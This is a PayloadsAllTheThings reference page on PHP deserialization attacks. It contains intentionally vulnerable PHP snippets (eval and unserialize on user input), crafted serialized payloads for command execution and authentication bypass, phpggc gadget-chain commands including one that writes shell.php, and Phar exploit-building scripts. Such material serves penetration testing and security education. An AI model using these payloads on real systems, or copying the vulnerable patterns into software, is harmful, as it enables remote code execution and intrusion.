php.md (15253B)
1 --- 2 title: "PHP Deserialization" 3 topic: "Insecure Deserialization" 4 topicSlug: "insecure-deserialization" 5 sourcePath: "Insecure Deserialization/PHP.md" 6 sourceUrl: "https://github.com/swisskyrepo/PayloadsAllTheThings/blob/3ac27901c711/Insecure%20Deserialization/PHP.md" 7 sha: "3ac27901c711" 8 isReadme: false 9 --- 10 11 # PHP Deserialization 12 13 > PHP Object Injection is an application level vulnerability that could allow an attacker to perform different kinds of malicious attacks, such as Code Injection, SQL Injection, Path Traversal and Application Denial of Service, depending on the context. The vulnerability occurs when user-supplied input is not properly sanitized before being passed to the unserialize() PHP function. Since PHP allows object serialization, attackers could pass ad-hoc serialized strings to a vulnerable unserialize() call, resulting in an arbitrary PHP object(s) injection into the application scope. 14 15 ## Summary 16 17 * [General Concept](#general-concept) 18 * [Authentication Bypass](#authentication-bypass) 19 * [Object Injection](#object-injection) 20 * [Finding and Using Gadgets](#finding-and-using-gadgets) 21 * [Phar Deserialization](#phar-deserialization) 22 * [Real World Examples](#real-world-examples) 23 * [References](#references) 24 25 ## General Concept 26 27 The following magic methods will help you for a PHP Object injection 28 29 * `__wakeup()` when an object is unserialized. 30 * `__destruct()` when an object is deleted. 31 * `__toString()` when an object is converted to a string. 32 33 Also you should check the `Wrapper Phar://` in [File Inclusion](/payloads/file-inclusion#wrapper-phar) which use a PHP object injection. 34 35 Vulnerable code: 36 37 ```php 38 <?php 39 class PHPObjectInjection{ 40 public $inject; 41 function __construct(){ 42 } 43 function __wakeup(){ 44 if(isset($this->inject)){ 45 eval($this->inject); 46 } 47 } 48 } 49 if(isset($_REQUEST['r'])){ 50 $var1=unserialize($_REQUEST['r']); 51 if(is_array($var1)){ 52 echo "<br/>".$var1[0]." - ".$var1[1]; 53 } 54 } 55 else{ 56 echo ""; # nothing happens here 57 } 58 ?> 59 ``` 60 61 Craft a payload using existing code inside the application. 62 63 * Basic serialized data 64 65 ```php 66 a:2:{i:0;s:4:"XVWA";i:1;s:33:"Xtreme Vulnerable Web Application";} 67 ``` 68 69 * Command execution 70 71 ```php 72 string(68) "O:18:"PHPObjectInjection":1:{s:6:"inject";s:17:"system('whoami');";}" 73 ``` 74 75 ## Authentication Bypass 76 77 ### Type Juggling 78 79 Vulnerable code: 80 81 ```php 82 <?php 83 $data = unserialize($_COOKIE['auth']); 84 85 if ($data['username'] == $adminName && $data['password'] == $adminPassword) { 86 $admin = true; 87 } else { 88 $admin = false; 89 } 90 ``` 91 92 Payload: 93 94 ```php 95 a:2:{s:8:"username";b:1;s:8:"password";b:1;} 96 ``` 97 98 Because `true == "str"` is true. 99 100 ## Object Injection 101 102 Vulnerable code: 103 104 ```php 105 <?php 106 class ObjectExample 107 { 108 var $guess; 109 var $secretCode; 110 } 111 112 $obj = unserialize($_GET['input']); 113 114 if($obj) { 115 $obj->secretCode = rand(500000,999999); 116 if($obj->guess === $obj->secretCode) { 117 echo "Win"; 118 } 119 } 120 ?> 121 ``` 122 123 Payload: 124 125 ```php 126 O:13:"ObjectExample":2:{s:10:"secretCode";N;s:5:"guess";R:2;} 127 ``` 128 129 We can do an array like this: 130 131 ```php 132 a:2:{s:10:"admin_hash";N;s:4:"hmac";R:2;} 133 ``` 134 135 ## Finding and Using Gadgets 136 137 Also called `"PHP POP Chains"`, they can be used to gain RCE on the system. 138 139 * In PHP source code, look for `unserialize()` function. 140 * Interesting [Magic Methods](https://www.php.net/manual/en/language.oop5.magic.php) such as `__construct()`, `__destruct()`, `__call()`, `__callStatic()`, `__get()`, `__set()`, `__isset()`, `__unset()`, `__sleep()`, `__wakeup()`, `__serialize()`, `__unserialize()`, `__toString()`, `__invoke()`, `__set_state()`, `__clone()`, and `__debugInfo()`: 141 * `__construct()`: PHP allows developers to declare constructor methods for classes. Classes which have a constructor method call this method on each newly-created object, so it is suitable for any initialization that the object may need before it is used. [php.net](https://www.php.net/manual/en/language.oop5.decon.php#object.construct) 142 * `__destruct()`: The destructor method will be called as soon as there are no other references to a particular object, or in any order during the shutdown sequence. [php.net](https://www.php.net/manual/en/language.oop5.decon.php#object.destruct) 143 * `__call(string $name, array $arguments)`: The `$name` argument is the name of the method being called. The `$arguments` argument is an enumerated array containing the parameters passed to the `$name`'ed method. [php.net](https://www.php.net/manual/en/language.oop5.overloading.php#object.call) 144 * `__callStatic(string $name, array $arguments)`: The `$name` argument is the name of the method being called. The `$arguments` argument is an enumerated array containing the parameters passed to the `$name`'ed method. [php.net](https://www.php.net/manual/en/language.oop5.overloading.php#object.callstatic) 145 * `__get(string $name)`: `__get()` is utilized for reading data from inaccessible (protected or private) or non-existing properties. [php.net](https://www.php.net/manual/en/language.oop5.overloading.php#object.get) 146 * `__set(string $name, mixed $value)`: `__set()` is run when writing data to inaccessible (protected or private) or non-existing properties. [php.net](https://www.php.net/manual/en/language.oop5.overloading.php#object.set) 147 * `__isset(string $name)`: `__isset()` is triggered by calling `isset()` or `empty()` on inaccessible (protected or private) or non-existing properties. [php.net](https://www.php.net/manual/en/language.oop5.overloading.php#object.isset) 148 * `__unset(string $name)`: `__unset()` is invoked when `unset()` is used on inaccessible (protected or private) or non-existing properties. [php.net](https://www.php.net/manual/en/language.oop5.overloading.php#object.unset) 149 * `__sleep()`: `serialize()` checks if the class has a function with the magic name `__sleep()`. If so, that function is executed prior to any serialization. It can clean up the object and is supposed to return an array with the names of all variables of that object that should be serialized. If the method doesn't return anything then **null** is serialized and **E_NOTICE** is issued.[php.net](https://www.php.net/manual/en/language.oop5.magic.php#object.sleep) 150 * `__wakeup()`: `unserialize()` checks for the presence of a function with the magic name `__wakeup()`. If present, this function can reconstruct any resources that the object may have. The intended use of `__wakeup()` is to reestablish any database connections that may have been lost during serialization and perform other reinitialization tasks. [php.net](https://www.php.net/manual/en/language.oop5.magic.php#object.wakeup) 151 * `__serialize()`: `serialize()` checks if the class has a function with the magic name `__serialize()`. If so, that function is executed prior to any serialization. It must construct and return an associative array of key/value pairs that represent the serialized form of the object. If no array is returned a TypeError will be thrown. [php.net](https://www.php.net/manual/en/language.oop5.magic.php#object.serialize) 152 * `__unserialize(array $data)`: this function will be passed the restored array that was returned from __serialize(). [php.net](https://www.php.net/manual/en/language.oop5.magic.php#object.unserialize) 153 * `__toString()`: The __toString() method allows a class to decide how it will react when it is treated like a string [php.net](https://www.php.net/manual/en/language.oop5.magic.php#object.tostring) 154 * `__invoke()`: The `__invoke()` method is called when a script tries to call an object as a function. [php.net](https://www.php.net/manual/en/language.oop5.magic.php#object.invoke) 155 * `__set_state(array $properties)`: This static method is called for classes exported by `var_export()`. [php.net](https://www.php.net/manual/en/language.oop5.magic.php#object.set-state) 156 * `__clone()`: Once the cloning is complete, if a `__clone()` method is defined, then the newly created object's `__clone()` method will be called, to allow any necessary properties that need to be changed. [php.net](https://www.php.net/manual/en/language.oop5.cloning.php#object.clone) 157 * `__debugInfo()`: This method is called by `var_dump()` when dumping an object to get the properties that should be shown. If the method isn't defined on an object, then all public, protected and private properties will be shown. [php.net](https://www.php.net/manual/en/language.oop5.magic.php#object.debuginfo) 158 159 [ambionics/phpggc](https://github.com/ambionics/phpggc) is a tool built to generate the payload based on several frameworks: 160 161 * Laravel 162 * Symfony 163 * SwiftMailer 164 * Monolog 165 * SlimPHP 166 * Doctrine 167 * Guzzle 168 169 ```powershell 170 phpggc monolog/rce1 'phpinfo();' -s 171 phpggc monolog/rce1 assert 'phpinfo()' 172 phpggc swiftmailer/fw1 /var/www/html/shell.php /tmp/data 173 phpggc Monolog/RCE2 system 'id' -p phar -o /tmp/testinfo.ini 174 ``` 175 176 ## Phar Deserialization 177 178 Using `phar://` wrapper, one can trigger a deserialization on the specified file like in `file_get_contents("phar://./archives/app.phar")`. 179 180 A valid PHAR includes four elements: 181 182 1. **Stub**: The stub is a chunk of PHP code which is executed when the file is accessed in an executable context. At a minimum, the stub must contain `__HALT_COMPILER();` at its conclusion. Otherwise, there are no restrictions on the contents of a Phar stub. 183 2. **Manifest**: Contains metadata about the archive and its contents. 184 3. **File Contents**: Contains the actual files in the archive. 185 4. **Signature**(optional): For verifying archive integrity. 186 187 * Example of a Phar creation in order to exploit a custom `PDFGenerator`. 188 189 ```php 190 <?php 191 class PDFGenerator { } 192 193 //Create a new instance of the Dummy class and modify its property 194 $dummy = new PDFGenerator(); 195 $dummy->callback = "passthru"; 196 $dummy->fileName = "uname -a > pwned"; //our payload 197 198 // Delete any existing PHAR archive with that name 199 @unlink("poc.phar"); 200 201 // Create a new archive 202 $poc = new Phar("poc.phar"); 203 204 // Add all write operations to a buffer, without modifying the archive on disk 205 $poc->startBuffering(); 206 207 // Set the stub 208 $poc->setStub("<?php echo 'Here is the STUB!'; __HALT_COMPILER();"); 209 210 /* Add a new file in the archive with "text" as its content*/ 211 $poc["file"] = "text"; 212 // Add the dummy object to the metadata. This will be serialized 213 $poc->setMetadata($dummy); 214 // Stop buffering and write changes to disk 215 $poc->stopBuffering(); 216 ?> 217 ``` 218 219 * Example of a Phar creation with a `JPEG` magic byte header since there is no restriction on the content of stub. 220 221 ```php 222 <?php 223 class AnyClass { 224 public $data = null; 225 public function __construct($data) { 226 $this->data = $data; 227 } 228 229 function __destruct() { 230 system($this->data); 231 } 232 } 233 234 // create new Phar 235 $phar = new Phar('test.phar'); 236 $phar->startBuffering(); 237 $phar->addFromString('test.txt', 'text'); 238 $phar->setStub("\xff\xd8\xff\n<?php __HALT_COMPILER(); ?>"); 239 240 // add object of any class as meta data 241 $object = new AnyClass('whoami'); 242 $phar->setMetadata($object); 243 $phar->stopBuffering(); 244 ``` 245 246 ## Real World Examples 247 248 * [Vanilla Forums ImportController index file_exists Unserialize Remote Code Execution Vulnerability - Steven Seeley](https://hackerone.com/reports/410237) 249 * [Vanilla Forums Xenforo password splitHash Unserialize Remote Code Execution Vulnerability - Steven Seeley](https://hackerone.com/reports/410212) 250 * [Vanilla Forums domGetImages getimagesize Unserialize Remote Code Execution Vulnerability (critical) - Steven Seeley](https://hackerone.com/reports/410882) 251 * [Vanilla Forums Gdn_Format unserialize() Remote Code Execution Vulnerability - Steven Seeley](https://hackerone.com/reports/407552) 252 253 ## References 254 255 * [CTF writeup: PHP object injection in kaspersky CTF - Jaimin Gohel - November 24, 2018](https://web.archive.org/web/20210514112950/https://medium.com/@jaimin_gohel/ctf-writeup-php-object-injection-in-kaspersky-ctf-28a68805610d) 256 * [ECSC 2019 Quals Team France - Jack The Ripper Web - noraj - May 22, 2019](https://web.archive.org/web/20211022161400/https://blog.raw.pm/en/ecsc-2019-quals-write-ups/#164-Jack-The-Ripper-Web) 257 * [FINDING A POP CHAIN ON A COMMON SYMFONY BUNDLE: PART 1 - Rémi Matasse - September 12, 2023](https://web.archive.org/web/20230915040126/https://www.synacktiv.com/publications/finding-a-pop-chain-on-a-common-symfony-bundle-part-1) 258 * [FINDING A POP CHAIN ON A COMMON SYMFONY BUNDLE: PART 2 - Rémi Matasse - October 11, 2023](https://web.archive.org/web/20231017130212/https://www.synacktiv.com/publications/finding-a-pop-chain-on-a-common-symfony-bundle-part-2) 259 * [Finding PHP Serialization Gadget Chain - DG'hAck Unserial killer - xanhacks - August 11, 2022](https://web.archive.org/web/20250926045827/https://www.xanhacks.xyz/p/php-gadget-chain/) 260 * [How to exploit the PHAR Deserialization Vulnerability - Alexandru Postolache - May 29, 2020](https://web.archive.org/web/20200929143500/https://pentest-tools.com/blog/exploit-phar-deserialization-vulnerability/) 261 * [phar:// deserialization - HackTricks - July 19, 2024](https://web.archive.org/web/20220819225041/https://book.hacktricks.xyz/pentesting-web/file-inclusion/phar-deserialization) 262 * [PHP deserialization attacks and a new gadget chain in Laravel - Mathieu Farrell - February 13, 2024](https://web.archive.org/web/20240213181951/https://blog.quarkslab.com/php-deserialization-attacks-and-a-new-gadget-chain-in-laravel.html) 263 * [PHP Generic Gadget - Charles Fol - July 4, 2017](https://www.ambionics.io/blog/php-generic-gadget-chains) 264 * [PHP Internals Book - Serialization - jpauli - June 15, 2013](https://web.archive.org/web/20130615052058/http://www.phpinternalsbook.com:80/classes_objects/serialization.html) 265 * [PHP Object Injection - Egidio Romano - April 24, 2020](https://web.archive.org/web/20130313225253/https://www.owasp.org/index.php/PHP_Object_Injection) 266 * [PHP Pop Chains - Achieving RCE with POP chain exploits. - Vickie Li - September 3, 2020](https://web.archive.org/web/20200903232359/https://vkili.github.io/blog/insecure%20deserialization/pop-chains/) 267 * [PHP unserialize - php.net - March 29, 2001](https://web.archive.org/web/20260219122641/https://www.php.net/manual/en/function.unserialize.php) 268 * [POC2009 Shocking News in PHP Exploitation - Stefan Esser - May 23, 2015](https://web.archive.org/web/20150523205411/https://www.owasp.org/images/f/f6/POC2009-ShockingNewsInPHPExploitation.pdf) 269 * [Rusty Joomla RCE Unserialize overflow - Alessandro Groppo - October 3, 2019](https://web.archive.org/web/20241010013739/https://blog.hacktivesecurity.com/index.php/2019/10/03/rusty-joomla-rce/) 270 * [TSULOTT Web challenge write-up - MeePwn CTF - Rawsec - July 15, 2017](https://web.archive.org/web/20211022151328/https://blog.raw.pm/en/meepwn-2017-write-ups/#TSULOTT-Web) 271 * [Utilizing Code Reuse/ROP in PHP - Stefan Esser - June 15, 2020](http://web.archive.org/web/20200615044621/https://owasp.org/www-pdf-archive/Utilizing-Code-Reuse-Or-Return-Oriented-Programming-In-PHP-Application-Exploits.pdf)